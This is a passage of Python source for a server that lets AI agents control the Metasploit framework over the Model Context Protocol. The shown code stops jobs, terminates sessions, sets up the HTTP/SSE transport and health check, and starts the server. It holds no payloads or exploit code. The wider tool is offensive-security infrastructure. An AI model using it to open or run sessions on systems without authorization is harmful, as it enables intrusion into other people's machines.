listener: {result.get('message')}" 1521 | 1522 | return result 1523 | 1524 | @mcp.tool() 1525 | async def stop_job(job_id: int) -> Dict[str, Any]: 1526 | """ 1527 | Stop a running Metasploit job (handler or other). Verifies disappearance. 1528 | """ 1529 | client = get_msf_client() 1530 | logger.info(f"Attempting to stop job {job_id}") 1531 | job_id_str = str(job_id) 1532 | job_name = "Unknown" 1533 | 1534 | try: 1535 | # Check if job exists and get name 1536 | jobs_before = await asyncio.to_thread(lambda: client.jobs.list) 1537 | if job_id_str not in jobs_before: 1538 | logger.error(f"Job {job_id} not found, cannot stop.") 1539 | return {"status": "error", "message": f"Job {job_id} not found."} 1540 | if isinstance(jobs_before.get(job_id_str), dict): 1541 | job_name = jobs_before[job_id_str].get('name', 'Unknown Job') 1542 | 1543 | # Attempt to stop the job 1544 | logger.debug(f"Calling jobs.stop({job_id_str})") 1545 | stop_result_str = await asyncio.to_thread(lambda: client.jobs.stop(job_id_str)) 1546 | logger.debug(f"jobs.stop() API call returned: {stop_result_str}") 1547 | 1548 | # Verify job stopped by checking list again 1549 | await asyncio.sleep(1.0) # Give MSF time to process stop 1550 | jobs_after = await asyncio.to_thread(lambda: client.jobs.list) 1551 | job_stopped = job_id_str not in jobs_after 1552 | 1553 | if job_stopped: 1554 | logger.info(f"Successfully stopped job {job_id} ('{job_name}') - verified by disappearance") 1555 | return { 1556 | "status": "success", 1557 | "message": f"Successfully stopped job {job_id} ('{job_name}')", 1558 | "job_id": job_id, 1559 | "job_name": job_name, 1560 | "api_result": stop_result_str 1561 | } 1562 | else: 1563 | # Job didn't disappear. The API result string might give a hint, but is unreliable. 1564 | logger.error(f"Failed to stop job {job_id}. Job still present after stop attempt. API result: '{stop_result_str}'") 1565 | return { 1566 | "status": "error", 1567 | "message": f"Failed to stop job {job_id}. Job may still be running. API result: '{stop_result_str}'", 1568 | "job_id": job_id, 1569 | "job_name": job_name, 1570 | "api_result": stop_result_str 1571 | } 1572 | 1573 | except MsfRpcError as e: 1574 | logger.error(f"MsfRpcError stopping job {job_id}: {e}") 1575 | return {"status": "error", "message": f"Error stopping job {job_id}: {e}"} 1576 | except Exception as e: 1577 | logger.exception(f"Unexpected error stopping job {job_id}.") 1578 | return {"status": "error", "message": f"Unexpected server error stopping job {job_id}: {e}"} 1579 | 1580 | @mcp.tool() 1581 | async def terminate_session(session_id: int) -> Dict[str, Any]: 1582 | """ 1583 | Forcefully terminate a Metasploit session using the session.stop() method. 1584 | 1585 | Args: 1586 | session_id: ID of the session to terminate. 1587 | 1588 | Returns: 1589 | Dictionary with status and result message. 1590 | """ 1591 | client = get_msf_client() 1592 | session_id_str = str(session_id) 1593 | logger.info(f"Terminating session {session_id}") 1594 | 1595 | try: 1596 | # Check if session exists 1597 | current_sessions = await asyncio.to_thread(lambda: client.sessions.list) 1598 | if session_id_str not in current_sessions: 1599 | logger.error(f"Session {session_id} not found.") 1600 | return {"status": "error", "message": f"Session {session_id} not found."} 1601 | 1602 | # Get a handle to the session 1603 | session = await asyncio.to_thread(lambda: client.sessions.session(session_id_str)) 1604 | 1605 | # Stop the session 1606 | await asyncio.to_thread(lambda: session.stop()) 1607 | 1608 | # Verify termination 1609 | await asyncio.sleep(1.0) # Give MSF time to process termination 1610 | current_sessions_after = await asyncio.to_thread(lambda: client.sessions.list) 1611 | 1612 | if session_id_str not in current_sessions_after: 1613 | logger.info(f"Successfully terminated session {session_id}") 1614 | return {"status": "success", "message": f"Session {session_id} terminated successfully."} 1615 | else: 1616 | logger.warning(f"Session {session_id} still appears in the sessions list after termination attempt.") 1617 | return {"status": "warning", "message": f"Session {session_id} may not have been terminated properly."} 1618 | 1619 | except MsfRpcError as e: 1620 | logger.error(f"MsfRpcError terminating session {session_id}: {e}") 1621 | return {"status": "error", "message": f"Error terminating session {session_id}: {e}"} 1622 | except Exception as e: 1623 | logger.exception(f"Unexpected error terminating session {session_id}") 1624 | return {"status": "error", "message": f"Unexpected error terminating session {session_id}: {e}"} 1625 | 1626 | # --- FastAPI Application Setup --- 1627 | 1628 | app = FastAPI( 1629 | title="Metasploit MCP Server (Streamlined)", 1630 | description="Provides core Metasploit functionality via the Model Context Protocol.", 1631 | version="1.6.0", # Incremented version 1632 | ) 1633 | 1634 | # Setup MCP transport (SSE for HTTP mode) 1635 | sse = SseServerTransport("/messages/") 1636 | 1637 | # Define ASGI handlers properly with Starlette's ASGIApp interface 1638 | class SseEndpoint: 1639 | async def __call__(self, scope, receive, send): 1640 | """Handle Server-Sent Events connection for MCP communication.""" 1641 | client_host = scope.get('client')[0] if scope.get('client') else 'unknown' 1642 | client_port = scope.get('client')[1] if scope.get('client') else 'unknown' 1643 | logger.info(f"New SSE connection from {client_host}:{client_port}") 1644 | async with sse.connect_sse(scope, receive, send) as (read_stream, write_stream): 1645 | await mcp._mcp_server.run(read_stream, write_stream, mcp._mcp_server.create_initialization_options()) 1646 | logger.info(f"SSE connection closed from {client_host}:{client_port}") 1647 | 1648 | class MessagesEndpoint: 1649 | async def __call__(self, scope, receive, send): 1650 | """Handle client POST messages for MCP communication.""" 1651 | client_host = scope.get('client')[0] if scope.get('client') else 'unknown' 1652 | client_port = scope.get('client')[1] if scope.get('client') else 'unknown' 1653 | logger.info(f"Received POST message from {client_host}:{client_port}") 1654 | await sse.handle_post_message(scope, receive, send) 1655 | 1656 | # Create routes using the ASGIApp-compliant classes 1657 | mcp_router = Router([ 1658 | Route("/sse", endpoint=SseEndpoint(), methods=["GET"]), 1659 | Route("/messages/", endpoint=MessagesEndpoint(), methods=["POST"]), 1660 | ]) 1661 | 1662 | # Mount the MCP router to the main app 1663 | app.routes.append(Mount("/", app=mcp_router)) 1664 | 1665 | @app.get("/healthz", tags=["Health"]) 1666 | async def health_check(): 1667 | """Check connectivity to the Metasploit RPC service.""" 1668 | try: 1669 | client = get_msf_client() # Will raise ConnectionError if not init 1670 | logger.debug(f"Executing health check MSF call (core.version) with {RPC_CALL_TIMEOUT}s timeout...") 1671 | # Use a lightweight call like core.version 1672 | version_info = await asyncio.wait_for( 1673 | asyncio.to_thread(lambda: client.core.version), 1674 | timeout=RPC_CALL_TIMEOUT 1675 | ) 1676 | msf_version = version_info.get('version', 'N/A') if isinstance(version_info, dict) else 'N/A' 1677 | logger.info(f"Health check successful. MSF Version: {msf_version}") 1678 | return {"status": "ok", "msf_version": msf_version} 1679 | except asyncio.TimeoutError: 1680 | error_msg = f"Health check timeout ({RPC_CALL_TIMEOUT}s) - Metasploit server is not responding" 1681 | logger.error(error_msg) 1682 | raise HTTPException(status_code=503, detail=error_msg) 1683 | except (MsfRpcError, ConnectionError) as e: 1684 | logger.error(f"Health check failed - MSF RPC connection error: {e}") 1685 | raise HTTPException(status_code=503, detail=f"Metasploit Service Unavailable: {e}") 1686 | except Exception as e: 1687 | logger.exception("Unexpected error during health check.") 1688 | raise HTTPException(status_code=500, detail=f"Internal Server Error during health check: {e}") 1689 | 1690 | # --- Server Startup Logic --- 1691 | 1692 | def find_available_port(start_port, host='127.0.0.1', max_attempts=10): 1693 | """Finds an available TCP port.""" 1694 | for port in range(start_port, start_port + max_attempts): 1695 | with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: 1696 | try: 1697 | s.bind((host, port)) 1698 | logger.debug(f"Port {port} on {host} is available.") 1699 | return port 1700 | except socket.error: 1701 | logger.debug(f"Port {port} on {host} is in use, trying next.") 1702 | continue 1703 | logger.warning(f"Could not find available port in range {start_port}-{start_port+max_attempts-1} on {host}. Using default {start_port}.") 1704 | return start_port 1705 | 1706 | if __name__ == "__main__": 1707 | # Initialize MSF Client - Critical for server function 1708 | try: 1709 | initialize_msf_client() 1710 | except (ValueError, ConnectionError, RuntimeError) as e: 1711 | logger.critical(f"CRITICAL: Failed to initialize Metasploit client on startup: {e}. Server cannot function.") 1712 | sys.exit(1) # Exit if MSF connection fails at start 1713 | 1714 | # --- Setup argument parser for transport mode and server configuration --- 1715 | import argparse 1716 | 1717 | parser = argparse.ArgumentParser(description='Run Streamlined Metasploit MCP Server') 1718 | parser.add_argument( 1719 | '--transport', 1720 | choices=['http', 'stdio'], 1721 | default='http', 1722 | help='MCP transport mode to use (http=SSE, stdio=direct pipe)' 1723 | ) 1724 | parser.add_argument('--host', default='127.0.0.1', help='Host to bind the HTTP server to (default: 127.0.0.1)') 1725 | parser.add_argument('--port', type=int, default=None, help='Port to listen on (default: find available from 8085)') 1726 | parser.add_argument('--reload', action='store_true', help='Enable auto-reload (for development)') 1727 | parser.add_argument('--find-port', action='store_true', help='Force finding an available port starting from --port or 8085') 1728 | args = parser.parse_args() 1729 | 1730 | if args.transport == 'stdio': 1731 | logger.info("Starting MCP server in STDIO transport mode.") 1732 | try: 1733 | mcp.run(transport="stdio") 1734 | except Exception as e: 1735 | logger.exception("Error during MCP stdio run loop.") 1736 | sys.exit(1) 1737 | logger.info("MCP stdio server finished.") 1738 | else: # HTTP/SSE mode (default) 1739 | logger.info("Starting MCP server in HTTP/SSE transport mode.") 1740 | 1741 | # Check port availability 1742 | check_host = args.host if args.host != '0.0.0.0' else '127.0.0.1' 1743 | selected_port = args.port 1744 | if selected_port is None or args.find_port: 1745 | start_port = selected_port if selected_port is not None else 8085 1746 | selected_port = find_available_port(start_port, host=check_host) 1747 | 1748 | logger.info(f"Starting Uvicorn HTTP server on http://{args.host}:{selected_port}") 1749 | logger.info(f"MCP SSE Endpoint: /sse") 1750 | logger.info(f"API Docs available at http://{args.host}:{selected_port}/docs") 1751 | logger.info(f"Payload Save Directory: {PAYLOAD_SAVE_DIR}") 1752 | logger.info(f"Auto-reload: {'Enabled' if args.reload else 'Disabled'}") 1753 | 1754 | uvicorn.run( 1755 | "__main__:app", 1756 | host=args.host, 1757 | port=selected_port, 1758 | reload=args.reload, 1759 | log_level="info" 1760 | ) 1761 | ```